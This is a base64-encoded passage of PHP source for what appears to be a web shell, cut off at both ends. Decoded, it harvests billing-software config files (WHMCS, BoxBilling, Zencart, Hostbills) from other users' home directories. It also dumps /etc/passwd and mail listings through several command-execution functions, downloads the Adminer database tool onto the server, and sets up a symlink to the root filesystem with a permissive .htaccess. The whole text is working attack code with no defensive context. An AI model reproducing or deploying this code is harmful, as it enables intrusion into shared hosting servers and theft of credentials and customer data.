YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvQkFTS0VUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvQmFza2V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvYmFza2V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvU0VDVVJFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvU2VjdXJlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvc2VjdXJlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvU0FMRVMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9TYWxlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3NhbGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvQklMTC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL0JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9iaWxsL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvUFVSQ0hBU0Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9QdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvQUNDT1VOVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL0FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9hY2NvdW50L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvVVNFUi9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL1VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC91c2VyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvQ0xJRU5UUy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL0NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9jbGllbnRzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvTVkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9NeS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL215L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvc2VjdXJlL3dobS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3NlY3VyZS93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3BhbmVsL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvY2xpZW50ZXMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9jbGllbnRlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9ib3hiaWxsaW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9ib3gvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2hvc3QvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL0hvc3QvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3N1cHBvcnRlcy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvc3VwcG9ydC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvaG9zdGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvY2FydC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvb3JkZXIvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NsaWVudC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvY2xpZW50cy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvY2xpZW50ZS9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvY2xpZW50ZXMvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2JpbGxpbmcvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2JpbGxpbmdzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9teS9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvc2VjdXJlL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC96ZW5jYXJ0L2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3Byb2R1Y3RzL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvaG9zdGJpbGxzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9Ib3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3N1cHBvcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2hvc3RpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL29yZGVyL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9jbGllbnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NsaWVudHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NsaWVudGUvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NsaWVudGVzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9iaWxsaW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCgkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvbXkvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3NlY3VyZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyINCgkJCQkpOwkNCgkJCQlmb3JlYWNoKCRncmFiX2NvbmZpZyBhcyAkY29uZmlnID0+ICRuYW1hX2NvbmZpZyl7DQoJCQkJCSRhbWJpbF9jb25maWcgPSBmaWxlX2dldF9jb250ZW50cygkY29uZmlnKTsNCgkJCQkJaWYoJGFtYmlsX2NvbmZpZyA9PSAnJyl7DQoJCQkJCX1lbHNlew0KCQkJCQkJJGZpbGVfY29uZmlnID0gZm9wZW4oImFuZ2tvbF9jb25maWcvJHVzZXJfY29uLSRuYW1hX2NvbmZpZy50eHQiLCJ3Iik7DQoJCQkJCQlmcHV0cygkZmlsZV9jb25maWcsJGFtYmlsX2NvbmZpZyk7DQoJCQkJCX0NCgkJCQl9DQoJCQl9CQkNCgkJfQ0KCQllY2hvICI8cCBjbGFzcz0ndGV4dC1jZW50ZXInPlN1Y2Nlc3M8L3A+DQoJCTxhIGhyZWY9Jz9kaXI9JGRpci9hbm9ucHJpeG9yX2NvbmZpZycgY2xhc3M9J2J0biBidG4tU3VjY2VzcyBidG4tYmxvY2sgbWItNCc+Q2xpY2sgSGVyZTwvYT4iOw0KCX1lbHNlew0KCQllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJPHAgY2xhc3M9J3RleHQtZGFuZ2VyJz4vZXRjL3Bhc3N3ZCBFcnJvciA/ICA8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1wYXNzd2J5cGFzcyc+QnlwYXNzIEhlcmU8L2E+PC9wPg0KCQkJPHRleHRhcmVhIG5hbWU9J3Bhc3N3ZCcgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nMTMnPiIuZmlsZV9nZXRfY29udGVudHMoJy9ldGMvcGFzc3dkJykuIjwvdGV4dGFyZWE+PGJyLz4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLWRhbmdlciBidG4tYmxvY2snIHZhbHVlPSdHZXQgQXV0byBDb25maWcnPg0KCQk8L2Zvcm0+IjsNCgl9DQoJZXhpdDsNCn0NCmZ1bmN0aW9uIGFrc2lCeXBhc3N3ZCgkZGlyLCRmaWxlKXsNCgllY2hvICc8ZGl2IGNsYWFzPSJjb250YWluZXIiPg0KCQk8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KCQkJPHAgY2xhc3M9InRleHQtY2VudGVyIj5CeXBhc3MgZXRjL3Bhc3N3ZCBXaXRoIDo8L3A+DQoJCQk8ZGl2IGNsYXNzPSJkLWZsZXgganVzdGlmeS1jb250ZW50LWNlbnRlciBmbGV4LXdyYXAiPg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJmaXR1cmUgYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIiB2YWx1ZT0iU3lzdGVtIEZ1bmN0aW9uIiBuYW1lPSJzeXN0Ij4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iZml0dXJlIGJ0biBidG4tZGFuZ2VyIGJ0bi1zbSIgdmFsdWU9IlBhc3N0aHJ1IEZ1bmN0aW9uIiBuYW1lPSJwYXNzdGgiPg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJmaXR1cmUgYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIiB2YWx1ZT0iRXhlYyBGdW5jdGlvbiIgbmFtZT0iZXgiPg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJmaXR1cmUgYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIiB2YWx1ZT0iU2hlbGxfZXhlYyBGdW5jdGlvbiIgbmFtZT0ic2hleCI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZpdHVyZSBidG4gYnRuLWRhbmdlciBidG4tc20iIHZhbHVlPSJQb3NpeF9nZXRwd3VpZCBGdW5jdGlvbiIgbmFtZT0ibWVsZXgiPg0KCQkJPC9kaXY+PGhyLz4NCgkJCTxwIGNsYXNzPSJ0ZXh0LWNlbnRlciI+QnlwYXNzIFVzZXIgV2l0aCA6PC9wPg0KCQkJPGRpdiBjbGFzcz0iZC1mbGV4IGp1c3RpZnktY29udGVudC1jZW50ZXIgZmxleC13cmFwIj4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iZml0dXJlIGJ0biBidG4td2FybmluZyBidG4tc20iIHZhbHVlPSJBd2sgUHJvZ3JhbSIgbmFtZT0iYXdrdXNlciI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZpdHVyZSBidG4gYnRuLXdhcm5pbmcgYnRuLXNtIiB2YWx1ZT0iU3lzdGVtIEZ1bmN0aW9uIiBuYW1lPSJzeXN0dXNlciI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZpdHVyZSBidG4gYnRuLXdhcm5pbmcgYnRuLXNtIiB2YWx1ZT0iUGFzc3RocnUgRnVuY3Rpb24iIG5hbWU9InBhc3N0aHVzZXIiPgkNCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iZml0dXJlIGJ0biBidG4td2FybmluZyBidG4tc20iIHZhbHVlPSJFeGVjIEZ1bmN0aW9uIiBuYW1lPSJleHVzZXIiPgkJDQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZpdHVyZSBidG4gYnRuLXdhcm5pbmcgYnRuLXNtIiB2YWx1ZT0iU2hlbGxfZXhlYyBGdW5jdGlvbiIgbmFtZT0ic2hleHVzZXIiPg0KCQkJPC9kaXY+DQoJCTwvZm9ybT4nOw0KCQkkbWFpbCA9ICdscyAvdmFyL21haWwnOw0KCQkkcGFzd2QgPSAnL2V0Yy9wYXNzd2QnOw0KCQlpZigkX1BPU1RbJ3N5c3QnXSl7DQoJCQllY2hvIjx0ZXh0YXJlYSBjbGFzcz0nZm9ybS1jb250cm9sJyByb3dzPScxMyc+IjsNCgkJCWVjaG8gc3lzdGVtKCJjYXQgJHBhc3dkIik7DQoJCQllY2hvIjwvdGV4dGFyZWE+PGJyLz4iOw0KCQl9DQoJCWlmKCRfUE9TVFsncGFzc3RoJ10pew0KCQkJZWNobyI8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nMTMnPiI7DQoJCQllY2hvIHBhc3N0aHJ1KCJjYXQgJHBhc3dkIik7DQoJCQllY2hvIjwvdGV4dGFyZWE+PGJyLz4iOw0KCQl9DQoJCWlmKCRfUE9TVFsnZXgnXSl7DQoJCQllY2hvIjx0ZXh0YXJlYSBjbGFzcz0nZm9ybS1jb250cm9sJyByb3dzPScxMyc+IjsNCgkJCWVjaG8gZXhlYygiY2F0ICRwYXN3ZCIpOw0KCQkJZWNobyI8L3RleHRhcmVhPjxici8+IjsNCgkJfQ0KCQlpZigkX1BPU1RbJ3NoZXgnXSl7DQoJCQllY2hvIjx0ZXh0YXJlYSBjbGFzcz0nZm9ybS1jb250cm9sJyByb3dzPScxMyc+IjsNCgkJCWVjaG8gc2hlbGxfZXhlYygiY2F0ICRwYXN3ZCIpOw0KCQkJZWNobyI8L3RleHRhcmVhPjxici8+IjsNCgkJfQ0KCQlpZigkX1BPU1RbJ21lbGV4J10pew0KCQkJZWNobyI8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nMTMnPiI7DQoJCQlmb3IoJHVpZD0wOyR1aWQ8NjAwMDskdWlkKyspeyANCgkJCQkkYXJhID0gcG9zaXhfZ2V0cHd1aWQoJHVpZCk7DQoJCQkJaWYgKCFlbXB0eSgkYXJhKSl7DQoJCQkJCXdoaWxlIChsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpew0KCQkJCQkJcHJpbnQgIiR2YWw6IjsNCgkJCQkJfQ0KCQkJCQlwcmludCAibiI7DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyI8L3RleHRhcmVhPjxici8+IjsNCgkJfQ0KCQkNCgkJaWYgKCRfUE9TVFsnYXdrdXNlciddKXsNCgkJCWVjaG8iPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHJvd3M9JzEzJz4NCgkJCQkiLnNoZWxsX2V4ZWMoImF3ayAtRjogJ3sgcHJpbnQgJDEgfScgJHBhc3dkIHwgc29ydCIpLiINCgkJCTwvdGV4dGFyZWE+PGJyLz4iOw0KCQl9DQoJCWlmICgkX1BPU1RbJ3N5c3R1c2VyJ10pew0KCQkJZWNobyI8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nMTMnPiI7DQoJCQllY2hvIHN5c3RlbSgiJG1haWwiKTsNCgkJCWVjaG8gIjwvdGV4dGFyZWE+PGJyPiI7DQoJCX0NCgkJaWYgKCRfUE9TVFsncGFzc3RodXNlciddKXsNCgkJCWVjaG8iPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHJvd3M9JzEzJz4iOw0KCQkJZWNobyBwYXNzdGhydSgiJG1haWwiKTsNCgkJCWVjaG8gIjwvdGV4dGFyZWE+PGJyPiI7DQoJCX0NCgkJaWYgKCRfUE9TVFsnZXh1c2VyJ10pew0KCQkJZWNobyI8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nMTMnPiI7DQoJCQllY2hvIGV4ZWMoIiRtYWlsIik7DQoJCQllY2hvICI8L3RleHRhcmVhPjxicj4iOw0KCQl9DQoJCWlmICgkX1BPU1RbJ3NoZXh1c2VyJ10pew0KCQkJZWNobyI8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nMTMnPiI7DQoJCQllY2hvIHNoZWxsX2V4ZWMoIiRtYWlsIik7DQoJCQllY2hvICI8L3RleHRhcmVhPjxicj4iOw0KCQl9DQoJZWNobyAiPC9kaXY+IjsNCglleGl0Ow0KfQ0KZnVuY3Rpb24gYWtzaUFkbWluZXIoJGRpciwkZmlsZSl7DQoJJGZ1bGwgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCAiIiwgJGRpcik7DQoJZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKXsNCgkJJGZwID0gZm9wZW4oJGlzaSwgInciKTsNCgkJJGNoID0gY3VybF9pbml0KCk7DQoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQklOQVJZVFJBTlNGRVIsIHRydWUpOw0KCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsNCgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZJTEUsICRmcCk7DQoJCXJldHVybiBjdXJsX2V4ZWMoJGNoKTsNCgkJY3VybF9jbG9zZSgkY2gpOw0KCQlmY2xvc2UoJGZwKTsNCgkJb2JfZmx1c2goKTsNCgkJZmx1c2goKTsNCgl9DQoJaWYoZmlsZV9leGlzdHMoJ2FkbWluZXIucGhwJykpew0KCQllY2hvICI8YSBocmVmPSckZnVsbC9hZG1pbmVyLnBocCcgdGFyZ2V0PSdfYmxhbmsnIGNsYXNzPSd0ZXh0LWNlbnRlciBidG4gYnRuLVN1Y2Nlc3MgYnRuLWJsb2NrIG1iLTMnPkxvZ2luIEFkbWluZXI8L2E+IjsNCgl9ZWxzZXsNCgkJaWYoYWRtaW5lcigiaHR0cHM6Ly93d3cuYWRtaW5lci5vcmcvc3RhdGljL2Rvd25sb2FkLzQuMi40L2FkbWluZXItNC4yLjQucGhwIiwiYWRtaW5lci5waHAiKSl7DQoJCQllY2hvICI8cCBjbGFzcz0ndGV4dC1jZW50ZXInPlN1Y2Nlc3MgQ3JlYXRpbmcgQWRtaW5lcjwvcD48YSBocmVmPSckZnVsbC9hZG1pbmVyLnBocCcgdGFyZ2V0PSdfYmxhbmsnIGNsYXNzPSd0ZXh0LWNlbnRlciBidG4gYnRuLVN1Y2Nlc3MgYnRuLWJsb2NrIG1iLTMnPkxvZ2luIEFkbWluZXI8L2E+IjsNCgkJfWVsc2V7DQoJCQllY2hvICI8cCBjbGFzcz0ndGV4dC1jZW50ZXIgdGV4dC1kYW5nZXInPkZhaWxlZCBDcmVhdGluZyBBZG1pbmVyPC9wPiI7DQoJCX0NCgl9DQoJZXhpdDsNCn0NCmZ1bmN0aW9uIGFrc2lTeW0oJGRpciwkZmlsZSl7DQoJJGZ1bGwgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCAiIiwgJGRpcik7DQoJJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQoJaWYoISRkMG1haW5zKXsNCgkJZGllICgiWyA8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1zeW1yZWFkJz5CeXBhc3MgUmVhZDwvYT4gXSBbIDxhIGhyZWY9Jz9kaXI9JGRpciZha3NpPXN5bV80MDQnPlN5bWxpbmsgNDA0PC9hPiBdIFsgPGEgaHJlZj0nP2Rpcj0kZGlyJmFrc2k9c3ltX2J5cGFzJz5TeW1saW5rIEJ5cGFzczwvYT4gXTxici8+PGZvbnQgY29sb3I9J3JlZCc+RXJyb3IgdW5hYmxlIHRvIHJlYWQgL2V0Yy9uYW1lZC5jb25mPC9mb250Pjxici8+PGJyLz4iKTsNCgl9DQoJIyNodGFjY2Vzcw0KCWlmKCRkMG1haW5zKXsNCgkJQG1rZGlyKCJhbmdrb2xfc3ltIiwwNzc3KTsNCgkJQGNoZGlyKCJhbmdrb2xfc3ltIik7DQoJCUBleGUoImxuIC1zIC8gcm9vdCIpOw0KCQkkZmlsZTMgPSAnT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQoJCURpcmVjdG9yeUluZGV4IGluZHNjLmh0bWwNCgkJQWRkVHlwZSB0ZXh0L3BsYWluIHBocCBodG1sIHBocDUgcGh0bWwNCgkJQWRkSGFuZGxlciB0ZXh0L3BsYWluIHBocCBodG1sIHBocDUgcGh0bWwNCgkJU2F0aXNmeSBBbnknOw0KCQkkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCgkJJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7QGZjbG9zZSgkZnAzKTsNCgkJZWNobyAiWyA8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1zeW1yZWFkJz5CeXBhc3MgUmVhZDwvYT4gXSBbIDxhIGhyZWY9Jz9kaXI9JGRpciZha3NpPXN5bV80